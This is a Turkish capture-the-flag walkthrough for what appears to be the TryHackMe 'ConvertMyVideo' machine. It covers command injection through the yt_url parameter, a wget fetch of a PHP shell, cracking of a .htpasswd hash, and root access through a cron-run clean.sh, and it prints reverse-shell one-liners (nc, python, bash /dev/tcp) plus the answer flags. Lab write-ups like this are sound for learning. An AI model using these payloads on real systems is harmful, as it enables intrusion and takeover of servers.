Merhaba arkadaşlar. Bu gün THM'deki medium seviye bir makinenin çözümünü göstereceğim.
İlk olarak Nmap taraması yaparak başlıyoruz.
nmap -sS -sV MakineIP
Sunucu, SSH ve HTTP için 22 ve 80 olmak üzere 2 açık porta sahip.
1 - Gizli dizinin adı nedir?
CTF' bizden istenen ilk şey gizli dizini bulmamız bunun için kalide bulundan dirb toolunu kullanarak tarama yapıyorum.
Bütün dizinleri denedik yetkisiz erişim hatası verdi fakay biri hariç admin dizini gizli dizinimiz.
2 - Admin paneline erişecek kullanıcı nedir?
Sayfada incelemeler yapıyoruz herhangi bir ipucu varmı diye sağ tıklayıp inspect element dedik ve bize sayfanın kodunu gösterdi.
/js/main.js in içerisinde herhangi bir ipucu varmı diye kontrol ediyoruz.
İstenen videonun tam Youtube URL'sini almak için youtube kimliğinin
https://www.youtube.com/watch?v=
ile birleştirildiğini görebiliriz. Ortaya çıkan şey yt_url'ye kaydedilir ve JSON'daki ana sayfaya iletilir. Sonuç konsola kaydedilir ve mesaj div'inde bir mesaj görüntülenir.Şimdi BurpSuite programını kullanarak responseları kontrol edeceğiz.
id parametresinin youtube url'sine eklendiğini ve bir gönderi isteği yaptığını görebiliriz.
Bu sonuca dayanarak, BurpSuite repater kullanarak yt_url parametresine bazı komutları enjekte etmeye çalışacağız.
Kod:
{"status":127,"errors":"WARNING: Assuming --restrict-filenames since file system encoding cannot encode all characters. Set the LC_ALL environment variable to fix this.\nERROR: Incomplete YouTube ID 1. URL https:\/\/www.youtube.com\/watch?v=1 looks truncated.\n","url_orginal":"https:\/\/www.youtube.com\/watch?v=1","output":"","result_url":"\/tmp\/downloads\/5fbe2445694fe.mp3"}
Bir çeşit çıktı alıyoruz. Sonra çıktıdaki şeyleri araştırdım ve proje için bir github bağlantısı buldum. Bir youtube indiricisi olduğu ortaya çıktı.
Şimdi yt_url= parametresine command injections denemeleri yapacağız böylelikle sistem içerisine bir shell yükleyip makineye sızacağız.
yt_url=`id` yazıp response baktık:
Ve yanıtta www-verilerini görebiliriz, bu da komutları çalıştırabileceğimiz anlamına gelir, ancak sorun şu ki çıktı tam görünmüyor. Bir reverse shell kullanarak sonuç almaya çalışalım.
Response
nc -nlvp 4444 yapıp ağınıza gelen istekleri yakalamaya çalışıcaz
Siteye yüklediğimiz Shell dizinine giriyoruz makineIP/shell.php artık makineye bağlandık.
Şimdi yt_url= parametresine command injections denemeleri yapacağız böylelikle sistem içerisine bir shell yükleyip makineye sızacağız.
yt_url=`id` yazıp response baktık:
Kod:
{"status":1,"errors":"WARNING: Assuming --restrict-filenames since file system encoding cannot encode all characters. Set the LC_ALL environment variable to fix this.\nERROR:
u'uid=33(www-data)'
is not a valid URL. Set --default-search \"ytsearch\" (or run youtube-dl \"ytsearch:uid=33(www-data)\" ) to search YouTube\n","url_orginal":"`id`","output":"","result_url":"\/tmp\/downloads\/5fbe255dee50f.mp3"
Ve yanıtta www-verilerini görebiliriz, bu da komutları çalıştırabileceğimiz anlamına gelir, ancak sorun şu ki çıktı tam görünmüyor. Bir reverse shell kullanarak sonuç almaya çalışalım.
yt_url=`wget${IFS}http://10.8.50.72:8000/shell.php`
Response
Kod:
{"status":2,"errors":"--2020-06-15 15:34:42-- http:\/\/10.8.50.72:8000\/shell.php\nConnecting to 10.8.50.72:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 5492 (5.4K) [application\/octet-stream]\nSaving to: 'shell.php'\n\n 0K ..... 100% 136K=0.04s\n\n2020-06-15 15:34:42 (136 KB\/s) - 'shell.php' saved [5492\/5492]\n\nWARNING: Assuming --restrict-filenames since file system encoding cannot encode all characters. Set the LC_ALL environment variable to fix this.\nUsage: youtube-dl [OPTIONS] URL [URL...]\n\nyoutube-dl: error: You must provide at least one URL.\nType youtube-dl --help to see a list of all options.\n","url_orginal":"`wget${IFS}http:\/\/10.8.50.72:8000\/shell.php`","output":"","result_url":"\/tmp\/downloads\/5ee7951264f4c.mp3"}
nc -nlvp 4444 yapıp ağınıza gelen istekleri yakalamaya çalışıcaz
Siteye yüklediğimiz Shell dizinine giriyoruz makineIP/shell.php artık makineye bağlandık.
Kod:
cd /var/www/html/admin/
$ ll
total 24
drwxr-xr-x 2 www-data www-data 4096 Apr 12 05:05 .
drwxr-xr-x 6 www-data www-data 4096 Jun 15 15:34 ..
-rw-r--r-- 1 www-data www-data 98 Apr 12 03:55 .htaccess
-rw-r--r-- 1 www-data www-data 49 Apr 12 04:02 .htpasswd
-rw-r--r-- 1 www-data www-data 39 Apr 12 05:05 flag.txt
-rw-rw-r-- 1 www-data www-data 202 Apr 12 04:18 index.php
$ cat .htpasswd
itsmeadmin:$apr1$tbcm2uwv$UP1ylvgp4.zLKxWj8mc6y/
itsmeadmin:$apr1$tbcm2uwv$UP1ylvgp4.zLKxWj8mc6y/
Şifre hashli olduğu için bunu çözmemiz gerekiyor bunun için kalide bulunan john aracını kullandım ve şifre
Jessie
3- User Dosyasının İçeriği Nedir?
/var/www/html/admin/ içerisinde flag.txt var terminale cat flag.txt yazarak içeriğine bakıyoruz:
cat flag.txt
flag{0d8486a0c0c42503bb60ac77f4046ed7}
4- Root Flagının İçeriği Nedir?
Şimdi bizden istediği dosyaya ulaşabilmemiz için yetkimizi yükseltmemiz gerekiyor.
Bundan sonraki adımları terminal kodları üzerinden sırayla göstereceğim.
Çalışan işlemleri kontrol etmek için python HTTP sunucusunu kullanarak sunucuya bir pspy dosyası yükledim.
Kod:
www-data@dmv:/var/www/html/tmp$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Apr 12 2020 .
drwxr-xr-x 6 www-data www-data 4096 Nov 25 10:17 ..
-rw-r--r-- 1 www-data www-data 17 Apr 12 2020 clean.sh
Kod:
www-data@dmv:/var/www/html/tmp$ cat clean.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.31.213 4444>/tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("makineIP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("makineIP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash -i >& /dev/tcp/makineIP/4444>&1
Kod:
local@local:~/Documents/tryhackme/convertmyvideo$ nc -nvlp 4444
Listening on 0.0.0.0 4444
Kod:
local@local:~/Documents/tryhackme/convertmyvideo$ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.26.87 51218
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
Kod:
# cat /root/root.txt
flag{d9b368018e912b541a4eb68399c5e94a}
Okuduğunuz için teşkkürler umarım işinize yarar.
CTF CEVAPLARI
Son düzenleme: